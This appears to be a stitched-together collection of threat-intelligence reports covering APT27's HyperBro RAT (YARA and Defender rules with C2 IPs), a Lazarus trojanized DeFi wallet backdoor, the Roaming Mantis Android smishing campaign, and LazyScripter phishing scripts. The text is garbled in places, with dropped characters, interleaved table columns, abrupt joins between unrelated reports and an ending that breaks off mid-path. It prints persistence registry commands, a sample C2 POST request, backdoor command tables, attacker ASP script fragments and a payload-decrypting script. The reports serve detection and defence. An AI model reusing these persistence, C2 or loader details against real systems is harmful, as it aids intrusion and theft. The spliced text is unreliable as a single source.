8c4b78ee13c6c7639086b46efdcdebf0cac37ab87fef99ab
2c7a72f217b5b03c
4b16ea1b1273f8746cf399c71bfc1f5bff7378b5414b4ea04
4c55e0ee08c89d3
624e85bd669b97bc55ed5c5ea5f6082a1d4900d235a5d2
e2a5683a04e36213e8
fc5a58bf0fce9cb96f35ee76842ff17816fe302e3164bc7c6
a5ef46f6eff67ed
7cb43e5c475d7f369fb090e9a79fe1f841bd1309
SOFTWARE\WOW6432Node\Microsoft\config_
HyperBro RAT - registry key used to persist
C2 config
HyperBro RAT - persistence mechanism
Persistence
mechanism
Persistence
mechanism
regkey
 HvS-Consulting AG 2022
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
\windefenders
HyperBro RAT - Stage 2
HyperBro RAT - legit CyberArk Software
binary used for side-loading
Rar.exe (WinRar)
Rar.exe (WinRar)
HyperBro RAT - Stage 3
HyperBro RAT - Stage 2 (decrypted)
HyperBro RAT - legit CyberArk Software
binary used for side-loading
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The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
9.2 YARA Rules
The following YARA rules can be used for the detection of the HyperBro malware. Alternatively, you can
use the THOR APT Scanner 36 since it already includes these YARA detection rules as well as many more.
The YARA rules were also published in our GitHub repository. One additional rule can be found there,
which was too bulky for this report:
https://github.com/hvs-consulting/ioc_signatures/tree/main/Emissary_Panda_APT27
rule HvS_APT27_HyperBro_Decrypted_Stage2 {
meta:
description = "HyperBro Stage 2 and compressed Stage 3 detection"
license = "https://creativecommons.org/licenses/by-nc/4.0/"
author = "Moritz Oettle"
reference = "https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27"
date = "2022-02-07"
hash1 = "fc5a58bf0fce9cb96f35ee76842ff17816fe302e3164bc7c6a5ef46f6eff67ed"
strings:
$lznt1_compressed_pe_header_small = { FC B9 00 4D 5A 90 } // This is the lznt1 compressed PE header
$lznt1_compressed_pe_header_large_1 = { FC B9 00 4D 5A 90 00 03 00 00 00 82 04 00 30 FF FF 00 }
$lznt1_compressed_pe_header_large_2 = { 00 b8 00 38 0d 01 00 40 04 38 19 00 10 01 00 00 }
$lznt1_compressed_pe_header_large_3 = { 00 0e 1f ba 0e 00 b4 09 cd 00 21 b8 01 4c cd 21 }
$lznt1_compressed_pe_header_large_4 = { 54 68 00 69 73 20 70 72 6f 67 72 00 61 6d 20 63 }
$lznt1_compressed_pe_header_large_5 = { 61 6e 6e 6f 00 74 20 62 65 20 72 75 6e 00 20 69 }
$lznt1_compressed_pe_header_large_6 = { 6e 20 44 4f 53 20 00 6d 6f 64 65 2e 0d 0d 0a 02 }
condition:
filesize < 200KB and
($lznt1_compressed_pe_header_small at 0x9ce) or (all of ($lznt1_compressed_pe_header_large_*))
https://www.nextron-systems.com/thor/
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HvS Incident Response Report
The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
rule HvS_APT27_HyperBro_Stage3 {
meta:
description = "HyperBro Stage 3 detection - also tested in memory"
license = "https://creativecommons.org/licenses/by-nc/4.0/"
author = "Markus Poelloth"
reference = "https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27"
date = "2022-02-07"
hash1 = "624e85bd669b97bc55ed5c5ea5f6082a1d4900d235a5d2e2a5683a04e36213e8"
strings:
$s1 = "\\cmd.exe /A" fullword wide
$s2 = "vftrace.dll" fullword wide
$s3 = "msmpeng.exe" fullword wide
$s4 = "\\\\.\\pipe\\testpipe" fullword wide
$s5 = "thumb.dat" fullword wide
$g1 = "%s\\%d.exe" fullword wide
$g2 = "https://%s:%d/api/v2/ajax" fullword wide
$g3 = " -k networkservice" fullword wide
$g4 = " -k localservice" fullword wide
condition:
uint16(0) == 0x5a4d and filesize < 300KB and
(( 4 of ($s*) ) or (4 of ($g*)))
rule HvS_APT27_HyperBro_Stage3_C2 {
meta:
description = "HyperBro Stage 3 C2 path and user agent detection - also tested in memory"
license = "https://creativecommons.org/licenses/by-nc/4.0/"
author = "Marc Stroebel"
reference = "https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27"
date = "2022-02-07"
hash1 = "624e85bd669b97bc55ed5c5ea5f6082a1d4900d235a5d2e2a5683a04e36213e8"
strings:
$s1 = "api/v2/ajax" ascii wide nocase
$s2 = "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116
Safari/537.36" ascii wide nocase
condition:
all of them
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HvS Incident Response Report
The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
rule HvS_APT27_HyperBro_Stage3_Persistence {
meta:
description = "HyperBro Stage 3 registry keys for persistence"
license = "https://creativecommons.org/licenses/by-nc/4.0/"
author = "Marko Dorfhuber"
reference = "https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27"
date = "2022-02-07"
hash1 = "624e85bd669b97bc55ed5c5ea5f6082a1d4900d235a5d2e2a5683a04e36213e8"
strings:
$ = "SOFTWARE\\WOW6432Node\\Microsoft\\config_" ascii
$ = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\windefenders" ascii
condition:
1 of them
9.3 Defender Detection Rules
// description: Detects pipe of HyperBro used for IPC
// license: https://creativecommons.org/licenses/by-nc/4.0/
// author: Markus Poelloth
// reference: https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27
// date: 2022-02-07
DeviceEvents
| where ActionType == "NamedPipeEvent" and AdditionalFields contains "testpipe"
// description: Detects big newly created rar files, as used by Emissary Panda for collection
// license: https://creativecommons.org/licenses/by-nc/4.0/
// author: Moritz Oettle
// reference: https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27
// date: 2022-02-07
DeviceFileEvents
| where ActionType == 'FileCreated'
| where FileName endswith ".rar"
| where FileSize > 5000000000 // 5 GB
| sort by FileSize desc
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// description: Detects C2 network events used by Emissary Panda
// license: https://creativecommons.org/licenses/by-nc/4.0/
// author: Marc Stroebel
// reference: https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27
// date: 2022-02-07
let IPs = pack_array("87.98.190.184", "34.90.207.23", "103.79.77.200", "104.168.236.46", "193.203.203.26",
"103.79.78.48", "35.187.148.253", "107.148.131.210", "45.77.250.141", "74.119.194.153");
let C2s = pack_array("dataanalyticsclub.com", "image.dataanalyticsclub.com", "fonts.dataanalyticsclub.com",
"avatars.dataanalyticsclub.com");
DeviceNetworkEvents
| where RemoteIP in(IPs) or RemoteUrl in (C2s)
// description: Detects commands used by Emissary Panda
// notes: might be prone to false positives
// license: https://creativecommons.org/licenses/by-nc/4.0/
// author: Marko Dorfhuber
// reference: https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27
// date: 2022-02-07
DeviceProcessEvents
| where InitiatingProcessCommandLine == @"cmd.exe /A"
// description: Detects event that loads the malicious DLL of Emissary Panda based on name
// notes: might be prone to false positives
// license: https://creativecommons.org/licenses/by-nc/4.0/
// author: Moritz Oettle
// reference: https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27
// date: 2022-02-07
DeviceImageLoadEvents
| where ActionType == "ImageLoaded" and FileName contains "VFTRACE.DLL"
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Page 37 of 38
Lazarus Trojanized DeFi app for delivering malware
securelist.com/lazarus-trojanized-defi-app/106195
Authors
GReAT
For the Lazarus threat actor, financial gain is one of the prime motivations, with a particular emphasis on the cryptocurrency business. As the
price of cryptocurrency surges, and the popularity of non-fungible token (NFT) and decentralized finance (DeFi) businesses continues to swell,
the Lazarus group
s targeting of the financial industry keeps evolving.
We recently discovered a Trojanized DeFi application that was compiled in November 2021. This application contains a legitimate program
called DeFi Wallet that saves and manages a cryptocurrency wallet, but also implants a malicious file when executed. This malware is a fullfeatured backdoor containing sufficient capabilities to control the compromised victim. After looking into the functionalities of this backdoor,
we discovered numerous overlaps with other tools used by the Lazarus group.
The malware operator exclusively used compromised web servers located in South Korea for this attack. To take over the servers, we worked
closely with the KrCERT and, as a result of this effort, we had an opportunity to investigate a Lazarus group C2 server. The threat actor
configured this infrastructure with servers set up as multiple stages. The first stage is the source for the backdoor while the goal of the second
stage servers is to communicate with the implants. This is a common scheme used in Lazarus infrastructure.
Background
In the middle of December 2021, we noticed a suspicious file uploaded to VirusTotal. At first glance, it looked like a legitimate application
related to decentralized finance (DeFi); however, looking closer we found it initiating an infection scheme. When executed, the app drops both
a malicious file and an installer for a legitimate application, launching the malware with the created Trojanized installer path. Then, the
spawned malware overwrites the legitimate application with the Trojanized application. Through this process, the Trojanized application gets
removed from the disk, allowing it to cover its tracks.
Infection timeline
Initial infection
While it
s still unclear how the threat actor tricked the victim into executing the Trojanized application (0b9f4612cdfe763b3d8c8a956157474a),
we suspect they sent a spear-phishing email or contacted the victim through social media. The hitherto unknown infection procedure starts
with the Trojanized application. This installation package is disguised as a DeFi Wallet program containing a legitimate binary repackaged with
the installer.
Upon execution, it acquires the next stage malware path (C:\ProgramData\Microsoft\GoogleChrome.exe) and decrypts it with a one-byte XOR
(Key: 0x5D). In the process of creating this next malware stage, the installer writes the first eight bytes including the 
 header to the file
GoogleChrome.exe and pushes the remaining 71,164 bytes from the data section of the Trojanized application. Next, the malware loads the
resource CITRIX_MEETINGS from its body and saves it to the path C:\ProgramData\Microsoft\CM202025.exe. The resulting file is a
legitimate DeFi Wallet application. Eventually, it executes the previously created malware with its file name as a parameter:
C:\ProgramData\Microsoft\GoogleChrome.exe 
[current file name]
Malware creation diagram
Backdoor creation
The malware (d65509f10b432f9bbeacfc39a3506e23) generated by the above Trojanized application is disguised as a benign instance of the
Google Chrome browser. Upon launch, the malware checks if it was provided with one argument before attempting to copy the legitimate
application 
C:\ProgramData\Microsoft\CM202025.exe
 to the path given as the command line parameter, which means overwriting the
original Trojanized installer, almost certainly in an attempt to conceal its prior existence. Next, the malware executes the legitimate file to
deceive the victim by showing its benign installation process. When the user executes the newly installed program, it shows the DeFi Wallet
software built with the public source code[1].
Screenshot of the manipulated application
Next, the malware starts initializing the configuration information. The configuration shows the structure shown in the table below, consisting
of flags, C2 server addresses, victim identification value, and time value. As the structure suggests, this malware can hold up to five C2
addresses, but only three C2 servers are included in this case.
Offset
Length(bytes)
Description
0x00
Flag for starting C2 operation
0x04
Random value to select C2 server
0x08
Random value for victim identifier
0x0C
0x208
C2 server address
0x214
0x208
C2 server address
0x41C
0x208
C2 server address
0x624
0x208
C2 server address
0x82C
0x208
C2 server address
0xA34
0x464
Buffer for system information
0xE98
0x400
Full cmd.exe path
0x1298
0x400
Temporary folder path
0x1698
Time to start backdoor operation
0x16A0
Time interval
0x16A4
Flag for gathering logical drives
0x16A8
Flag for enumerating session information
0x16B0
The time value for gathering logical drive and session information
The malware randomly chooses a C2 server address and sends a beacon signal to it. This signal is a hard-coded 
0x60D49D94
 DWORD
without encryption; the response data returned from the C2 carries the same value. If the expected value from the C2 server is received, the
malware starts its backdoor operation.
Following further communication with the C2, the malware encrypts data by a predefined method. The encryption is done via RC4 and the
hard-coded key 0xD5A3 before additionally being encoded with base64.
The malware generates POST parameters with hard-coded names. The request type (msgID), victim identification value, and a randomly
generated value are merged into the 
jsessid
 parameter. It also uses the 
cookie
 parameter to store four randomly generated four-byte values.
These values are again encrypted with RC4 and additionally base64 encoded. Based on our investigation of the C2 script, we observed this
malware not only uses a parameter named 
jsessid
, but also 
jcookie
 as well.
Structure of 
jsessid
 parameter
The following HTTP request shows the malware attempting to connect to the C2 with the request type 
60d49d98
 and a randomly generated
cookie value.
POST /include/inc.asp HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR
3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: emsystec.com
Content-Length: 80
Cache-Control: no-cache
jsessid=60d49d980163be8f00019f91&cookie=29f23f917ab01aa8lJ3UYA==2517757b7dfb47f1
Depending on the response from the C2, the malware performs its instructed backdoor task. It carries various functionalities to gather system
information and control the victim machine.
Command
Description
0x60D49D97
Set time configuration with the current time interval (default is 10) value
0x60D49D9F
Set time configuration with delivered data from C2 server
0x60D49DA0
Gather system information, such as IP address, computer name, OS version, CPU architecture
0x60D49DA1
Collect drive information including type and free size
0x60D49DA2
Enumerate files (with file name, size, time)
0x60D49DA3
Enumerate processes
0x60D49DA4
Terminate process
0x60D49DA5
Change working directory
0x60D49DA6
Connect to a given IP address
0x60D49DA7
File timestamping
0x60D49DA8
Execute Windows command
0x60D49DA9
Securely delete a file
0x60D49DAA
Spawn process with CreateProcessW API
0x60D49DAB
Spawn process with CreateProcessAsUserW API
0x60D49DAC
Spawn process with high integrity level
0x60D49DAD
Download file from C2 server and save to given file path
0x60D49DAE
Send file creation time and contents
0x60D49DAF
Add files to .cab file and send it to the C2 server
0x60D49DB0
Collect a list of files at the given path
0x60D49DB1
Send the configuration to the C2 server
0x60D49DB2
Receive new configuration from the C2 server
0x60D49DB3
Set config to the current time
0x60D49DB4
Sleep 0.1 seconds and continue
Infrastructure
Lazarus only used compromised web servers located in South Korea in this campaign. As a result of working closely with the KrCERT in taking
down some of them, we had a chance to look into the corresponding C2 script from one of the compromised servers. The script described in
this section was discovered in the following path:
http://bn-cosmo[.]com/customer/board_replay[.]asp
The script is a VBScript.Encode ASP file, commonly used by the Lazarus group in their C2 scripts. After decoding, it shows the string
60d49d95
 as an error response code, whereas the string 
60d49d94
 is used as a success message. In addition, the connection history is saved
to the file 
stlogo.jpg
 and the C2 address for the next stage is stored in the file 
globals.jpg
 located in the same folder.
Configuration of C2 script
This script checks what value is delivered in the 
jcookie
 parameter and, if it
s longer than 24 characters, it extracts the first eight characters as
msgID. Depending on the msgID value, it calls different functions. The backdoor command and command execution result delivered by the
backdoor get stored to global variables. We have seen this scheme in operation before with the Bookcode[2] cluster. This script uses the
following variables as flags and buffers to deliver data and commands between the backdoor and a second stage C2 server:
lFlag: flag to signal that there is data to deliver to the backdoor
lBuffer: buffer to store data to be later sent to the backdoor
tFlag: flag to signal that there is a response from the backdoor
tBuffer: buffer to store incoming data from the backdoor
msgID
Function
name
Description
60d49d98
TFConnect
Save the 
 value (victim identifier) to the log file, send 
jcookie
 value with the client
s IP address after acquiring
the next stage C2 address from the config file (globals.jpg). Forward the response from the next stage server to
the client.
60d49d99
TConnect
Deliver the command to the backdoor:
If the lFlag is 
true
, send lBuffer to the client. Reset 
lBuffer
 and set lFlag to 
false
. Otherwise, reset 
tBuffer
 and
set tFlag to 
false
60d49d9a
LConnect
Send the command and return the command execution result:
Set 
lBuffer
 value to 
jcookie
 parameter, delivering 
tBuffer
 to the client.
60d49d9c
Check
Retrieve host information (computer name, OS version). Delete the configuration file, which saves the C2
s next
stage address, if it exists. Then save the new configuration with delivered data through the 
jcookie
 parameter.
60d49d9d
LogDown
Deliver log file after base64 encoding and then delete it.
the others
Write connections with unknown/unexpected msgID (request type) data to a log file, entries are tagged with
xxxxxxxx
Attribution
We believe with high confidence that the Lazarus group is linked to this malware as we identified similar malware in the CookieTime cluster.
The CookieTime cluster, called LCPDot by JPCERT, was a malware cluster that was heavily used by the Lazarus group until recently. We
seen Lazarus group target the defence industry using the CookieTime cluster with a job opportunity decoy. We have already published several
reports about this cluster to our Threat Intelligence Service customers, and we identified a Trojanized Citrix application
(5b831eaed711d5c4bc19d7e75fcaf46e) with the same code signature as the CookieTime malware. The backdoor discovered in the latest
investigation, and the previously discovered Trojanized application, are almost identical. They share, among other things, the same C2
communication method, backdoor functionalities, random number generation routine and the same method to encrypt communication data.
Also, this malware was mentioned in an article by Ahnlab discussing connections with the CookieTime (aka LCPDot) malware.
Same backdoor switch of old CookieTime malware
In turn, we identified that the CookieTime cluster has ties with the Manuscrypt and ThreatNeedle clusters, which are also attributed to the
Lazarus group. This doesn
t only apply to the backdoor itself, but also to the C2 scripts, which show several overlaps with the ThreatNeedle
cluster. We discovered almost all function and variable names, which means the operators recycled the code base and generated corresponding
C2 scripts for the malware.
ThreatNeedle C2 script from
roit.co[.]kr/xyz/adminer/edit_fail_decoded.asp
C2 script of this case
functIon getIpAddress()
fUnctioN GetIpAddress()
On ErroR resume next
ON Error Resume Next
Dim ip
Dim iP
ip=Request.SErVervariables("HTTP_CLIENT_IP")
ip=ReqUest.ServerVaRiables("HTTP_CLIENT_IP")
If ip=""THen
If ip=""THEn
Ip=ReQUest.ServervaRiAbLes("HTTP_X_FORWARDED_FOR")
iP=Request.SErverVariaBleS("HTTP_X_FORWARDED_FOR")
If ip=""ThEn
If ip=""then
ip=request.ServerVaRiables("REMOTE_ADDR")
ip=reQuest.ServErVariables("REMOTE_ADDR")
End If
EnD IF
End if
EnD If
GEtIpAdDress=ip
GEtipAddreSs=ip
End FuNction
End FUnction
Almost identical scripts to fetch IP address of client
ThreatNeedle C2 script from:
edujikim[.]com/pay_sample/INIstart.asp
C2 script of this case
Sub writeDataToFile(strFileName, byData)
Sub WritedatA(filepath,byData)
Dim objFSO, objFile, strFilePath
dim objFSO,oBJFile
Const ForAppending = 8
ConSt ForAppEnDing=8
strFilePath = Server.MapPath(".") & "\" &
strFileName
objFsO=CreateObject("Scripting.FileSystemObject")
Set objFSO =
CreateObject("Scripting.FileSystemObject")
objFIle=objFso.OpENTextFile(filepaTh,FoRAppending,True)
Set objFile =
objFilE.Write ByDatA
objFSO.OpenTextFile(strFilePath,
objFIle.CLose
ForAppending, True)
EnD Sub
objFile.Write byData
objFile.Close
End Sub
Similar scripts to save data to a file
Conclusions
In a previous investigation we discovered that the BlueNoroff group, which is also linked to Lazarus, compromised another DeFi wallet
program called MetaMask. As we can see in the latest case, the Lazarus and BlueNoroff groups attempt to deliver their malware without
drawing attention to it and have evolved sophisticated methods to lure their victims. The cryptocurrency and blockchain-based industry
continues to grow and attract high levels of investment. For this reason, we strongly believe Lazarus
s interest in this industry as a major source
of financial gain will not diminish any time soon.
Indicators of Compromise
Trojanized DeFi application
0b9f4612cdfe763b3d8c8a956157474a DeFi-App.exe
Dropped backdoor
d65509f10b432f9bbeacfc39a3506e23 %ProgramData%\Microsoft\GoogleChrome.exe
Similar backdoor
a4873ef95e6d76856aa9a43d56f639a4
d35a9babbd9589694deb4e87db222606
70bcafbb1939e45b841e68576a320603
3f4cf1a8a16e48a866aebd5697ec107b
b7092df99ece1cdb458259e0408983c7
8e302b5747ff1dcad301c136e9acb4b0
d90d267f81f108a89ad728b7ece38e70
47b73a47e26ba18f0dba217cb47c1e16
77ff51bfce3f018821e343c04c698c0e
First stage C2 servers (Legitimate, compromised)
hxxp://emsystec[.]com/include/inc[.]asp
hxxp://www[.]gyro3d[.]com/common/faq[.]asp
hxxp://www[.]newbusantour[.]co[.]kr/gallery/left[.]asp
hxxp://ilovesvc[.]com/HomePage1/Inquiry/privacy[.]asp
hxxp://www[.]syadplus[.]com/search/search_00[.]asp
hxxp://bn-cosmo[.]com/customer/board_replay[.]asp
Second stage C2 servers (Legitimate, compromised)
hxxp://softapp[.]co[.]kr/sub/cscenter/privacy[.]asp
hxxp://gyro3d[.]com/mypage/faq[.]asp
MITRE ATT&CK Mapping
This table contains all the TTPs identified in the analysis of the activity described in this report.
Tactic
Technique
Technique Name
Execution
T1204.002
User Execution: Malicious File
Use Trojanized application to drop malicious backdoor
Persistence
T1547.001
Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
Register dropped backdoor to the Run registry key
Defense Evasion
T1070.004
Indicator Removal on Host: File Deletion
The Trojanized application overwrites itself after creating a legitimate application to remove its trace
T1070.006
Indicator Removal on Host: Timestomp
Backdoor capable of timestomping specific files
T1057
Process Discovery
List running processes with backdoor
T1082
System Information Discovery
Gather IP address, computer name, OS version, and CPU architecture with backdoor
T1083
File and Directory Discovery
List files in some directories with backdoor
T1124
System Time Discovery
Gather system information with backdoor
T1071.001
Application Layer Protocol: Web Protocols
Use HTTP as C2 channel with backdoor
T1573.001
Encrypted Channel: Symmetric Cryptography
Use RC4 encryption and base64 with backdoor
T1041
Exfiltration Over C2 Channel
Exfiltrates gathered data over C2 channels with backdoor
Discovery
Command and Control
Exfiltration
[1] https://github.com/DeFiCh/app
APT Intel report: Lazarus Covet Covid19 Related Intelligence
Lazarus Trojanized DeFi app for delivering malware
Roaming Mantis reaches Europe
securelist.com/roaming-mantis-reaches-europe/105596
Authors
Suguru Ishimaru
Part VI. 2021 sees smishing and modified Wroba.g/Wroba.o extend
attacks to Germany and France
Roaming Mantis is a malicious campaign that targets Android devices and spreads mobile
malware via smishing. We have been tracking Roaming Mantis since 2018, and published
five blog posts about this campaign:
s been a while since the last blog post, but we
ve observed some new activities by Roaming
Mantis in 2021, and some changes in the Android Trojan Wroba.g (or Wroba.o, a.k.a
Moqhao, XLoader) that
s mainly used in this campaign. Furthermore, we discovered that
France and Germany were added as primary targets of Roaming Mantis, in addition to
Japan, Taiwan and Korea.
Geography of Roaming Mantis victims
Our latest research into Roaming Mantis shows that the actor is focusing on expanding
infection via smishing to users in Europe. The campaign in France and Germany was so
active that it came to the attention of the German police and French media. They alerted
users about smishing messages and the compromised websites used as landing pages.
Smishing alerts on German and French websites
Typically, the smishing messages contain a very short description and a URL to a landing
page. If a user clicks on the link and opens the landing page, there are two scenarios: iOS
users are redirected to a phishing page imitating the official Apple website, while the Wroba
malware is downloaded on Android devices.
Link from smishing message redirects to Wroba or phishing page
Based on the telemetry we gathered between July 2021 and January 2022, Wroba.g and
Wroba.o have been detected in many regions. The most affected countries were France,
Japan, India, China, Germany and Korea.
Territories affected by Trojan-Dropper.AndroidOS.Wroba.g and TrojanDropper.AndroidOS.Wroba.o (download)
d also like to point out some very interesting data on Roaming Mantis landing page
statistics published on Internet Week 2021 and Github by @ninoseki, an independent
security expert based in Japan. The data shows the number of downloaded APK files, landing
page domains, and IP addresses located in the seven regions targeted most by Roaming
Mantis using Wroba.g/Wroba.o on a particular day in September 2021.
The number of downloaded APK files and IPs/domains of landing pages
The following table is a ranking based on the number of APK file downloads. The most
affected country is France, followed by Japan, Germany and others. Some targeted regions
seem to overlap with our telemetry mentioned above.
Region
Number of
Impersonated brand
domains
downloads
France
1,246
66,789
Google Chrome
Japan
22,254
Yamato transport
Germany
2,681
Google Chrome
Korea
2,564
ePOST
United
States
Google Chrome
Taiwan
 (Yamato transport in
Chinese)
Turkey
Google Chrome
Anti-researcher tricks in the landing page
Throughout 2020 and 2021, the criminal group behind Roaming Mantis made use of various
obfuscation techniques in the landing page script in order to evade detection.
Variety of obfuscation techniques in the landing page script
In addition to obfuscation, the landing page blocks the connection from the source IP
address in non-targeted regions and shows just a fake 
 page for these connections.
The user agent checking feature has not been changed in the landing page since 2019; it
evaluates the devices by user agent, redirecting to the phishing page if the device is iOSbased, or delivering the malicious APK file if the device is Android-based.
Technical analysis: loader module of Wroba.g/Wroba.o
We performed in-depth analysis of Wroba.g/Wroba.o samples and observed several
modifications in the loader module and payload, using kuronekoyamato.apk as an example.
First, the actor changed the programming language from Java to Kotlin, a programming
language designed to interoperate fully with Java. Then, the actor removed the multidex
obfuscation trick. Instead of this, the data structure of the embedded payload
(\assets\rmocpdx\15k7a5q) was also modified as follows:
Modified data structure of embedded payload
The first eight bytes of the data are junk code (gray), followed by the size of payload (orange),
a single-byte XOR key (red), the encrypted payload (green) and more junk code (gray).
Furthermore, an ELF file, \lib\armeaib-v7a\libdf.so, was embedded in the APK file: it uses
Java Native Interface (JNI) for the second stage payload, for decryption and also part of the
loading feature. The decryption process and algorithms are just three steps as follows:
Various obfuscation techniques in the landing page script
First, the loader function takes each section of data from the embedded data, except the junk
data. Then, the encrypted payload is XORed using the embedded XOR key. After the XOR
operation, as with previous samples, the data is decompressed using zlib to extract the
payload, a Dalvik Executable (DEX) file.
The following simple Python script helps to extract the payload:
#!/usr/bin/env python3
import sys
import zlib
import base64
data = open(sys.argv[1], "rb").read()
key = data[11]
size = data[10] | data[9] << 8 | data[8] << 16
enc = data[12:12+size]
dec_x = bytes(enc[i] ^ key for i in range(len(enc)))
dec_z = zlib.decompress(dec_x)
with open(sys.argv[1]+".dec","wb") as fp:
fp.write(dec_z)
In this sample, the decrypted payload is saved as \data\data\ggk.onulfc.jb.utxdtt.bk\files\d
and executed to infect the malicious main module on victim devices.
Technical analysis: payload of Wroba.g/Wroba.o
Regarding the updates to the Wroba.g/Wroba.o payload, Kaspersky experts only observed
two minor updates in the payload part. One of them is the feature for checking the region of
the infected device in order to display a phishing page in the corresponding language. In the
old sample, it checked for three regions: Hong Kong, Taiwan and Japan. However, Germany
and France were added as new regions. From this update, together with the map above, it is
clear that Germany and France have become the main targets of Roaming Mantis with
Wroba.g/Wroba.o.
Another modification is in the backdoor commands. The developer added two backdoor
commands, 
get_photo
 and 
get_gallery
, as well as removing the command
show_fs_float_window
. Overall, there are 21 embedded backdoor commands.
List of embedded backdoor commands with the two new commands
get_gallery
 and 
get_photo
These new backdoor commands are added to steal galleries and photos from infected devices.
This suggests the criminals have two aims in mind. One possible scenario is that the
criminals steal details from such things as driver
s licenses, health insurance cards or bank
cards, to sign up for contracts with QR code payment services or mobile payment services.
The criminals are also able to use stolen photos to get money in other ways, such as blackmail
or sextortion. The other functions of the payload are unchanged. For more details, please see
our previous blogposts mentioned above.
Conclusion
It has been almost four years since Kaspersky first observed the Roaming Mantis campaign.
Since then, the criminal group has continued its attack activities by using various malware
families such as HEUR:Trojan-Dropper.AndroidOS.Wroba, and various attack methods such
as phishing, mining, smishing and DNS poisoning. In addition, the group has now expanded
its geography, adding two European countries to its main target regions. We predict these
attacks will continue in 2022 because of the strong financial motivation.
MD5 hashes of Wroba.o
527b5eebb6dbd3d0b777c714e707659c
19c4be7d5d8bf759771f35dec45f267a
2942ca2996a80ab807be08e7120c2556
4fbc28088b9bf82dcb3bf42fe1fc1f6d
0aaf6aa859fbdb84de20bf4bf28a02f1
5bafe0e5a96b1a0db291cf9d57aab0bc
ddd131d7f0918ece86cc7a68cbacb37d
Roaming Mantis reaches Europe
Very very lazy Lazyscripter
s scripts: double compromise
in a single obfuscation
lab52.io/blog/very-very-lazy-lazyscripters-scripts-double-compromise-in-a-single-obfuscation
_thespis
In July of 2021, we identified an infection campaign targeting important European entities.
During this investigation we could identify the threat actor behind these attacks as
LazyScripter, an emerging APT group pointed by MalwareBytes in February 2021.
Through our analysis, we could track their activity with precise dates in 2021 based on their
samples. Furthermore, we could extend the intelligence upon this threat actor by identifying
a new malware among their TTPs, and also find new elements of the infrastructure.
Additionally, after the analysis of the samples, we discovered the usage of a free and popular
online obfuscating tool for scripts, which would inject their own downloader for a njRAT
sample within LazyScripter
s malware. Meaning that, if some entity happened to be
compromised by a one of these samples of LazyScripter, they would probably be
compromised by two different threat actors.
For this campaign, the malicious actor used phishing emails as the initial vector, pretending
to be relevant international entities such as the United Nations World Tourism Organization
(UNWTO or the International Air Transport Association (IATA). In the malicious emails, the
actor would usually attach three compressed files: a pdf document, and two JavaScript files.
1/14
PDF document from spear phishing
After the analysis of the first pdf document that ended up in our hands (
JOB NOTICE.pdf
UNWTO) we did not observed embedded code, or any malicious behavior. However,
metadata revealed that it had been edited with a PDF editor referred to as 
Foxit
 on July
13th 2021, less than a month before we identified this campaign.
Producer: Foxit PhantomPDF Printer Version 9.6.0.1818
CreationDate: Tue Nov 10 08:30:41 2020 CET
ModDate: Tue Jul 13 22:17:50 2021 CEST
The only technical element of real interest found in this document was the hyperlink in which
the user is suggested to click in order to obtain more information about the fake job offer at
UNWTO.
2/14
This link will open a browser and contact the domain securessl.]fit which was registered on
July 17th 2021 and resolves in the address 192.64.]119.125, associated with the provider/webhosting Namecheap.
It has been observed that the final URL shows up as follows, after a redirection by an HTTP
302 response from the server, not serving any file at the moment of the analysis, but
suggesting it was supposed to serve a .zip file (though, we did not discard IP geofence):
Final HTTP response via hyperklink from PDF doc
After the analysis of the HTTP traffic flow with this domain, the redirection is observed to be
hidden behind a domain which belongs to the duckdns service for dynamic domains
resolutions:
Middle/Transitional HTTP request from PDF
This domain resolves in the IP address 66.29.]130.204. Even so, the redirection through this
address uses TLS encryption, so it is not possible to know what has occurred during the
communication until the final redirection, which ends with the previously shown HTTP 404
response code.
Nevertheless, it has been indeed observed how that same IP address is associated to the
server1
 hostname in the domain gowaymevps.]xyz (registered on May 12th 2021).
3/14
Final HTTP request from PDF
Traffic capture for the PDF hyperlink
The other two files found along with this PDF at its arrival via phishing email have the exact
same content (even same hash) in spite of having a different name:
LIST OF AVAILABLE JOBS.js
SALARY AND HIRING CONDITIONS.js
This highly obfuscated JavaScript has the only purpose of dropping a second VBS script,
which will be placed in the following paths:
C:\Users\*\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\tk.vbs
C:\Users\*\AppData\Roaming\tk.vbs
For those samples where the VBS script was not dropped in the startup folder, the following
persistence mechanism would be established using the registry keys:
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\tk
Details: wscript.exe //B 
C:\Users\Lucas\AppData\Roaming\tk.vbs
HKU\*\Software\Microsoft\Windows\CurrentVersion\Run\tk1
Details: wscript.exe //B 
C:\Users\Lucas\AppData\Roaming\tk.vbs
4/14
And here is where the real fun begins. In the initial behavior analysis of these next stage VBS
samples, we observed C2 contact through HTTP POST requests to the port 449 of the IP
address 45.91.92.112 resolved from stub.]ignorelist.]com.
At this point we could find an attribution according to different reports, since the domain
stub.]ignorelist.]com had been used by the group referred as LazyScripter in their previous
campaign.
The HTTP request is made using the path 
/is-ready
 in the URI and it includes initial
information about the infected system within the User-Agent header value:
VBS sample HTTP request
Furthermore, we also observed that the vbs script also dropped to disk the following .lnk file:
C:\Users\Lucas\AppData\Roaming\Microsoft\Windows\Start
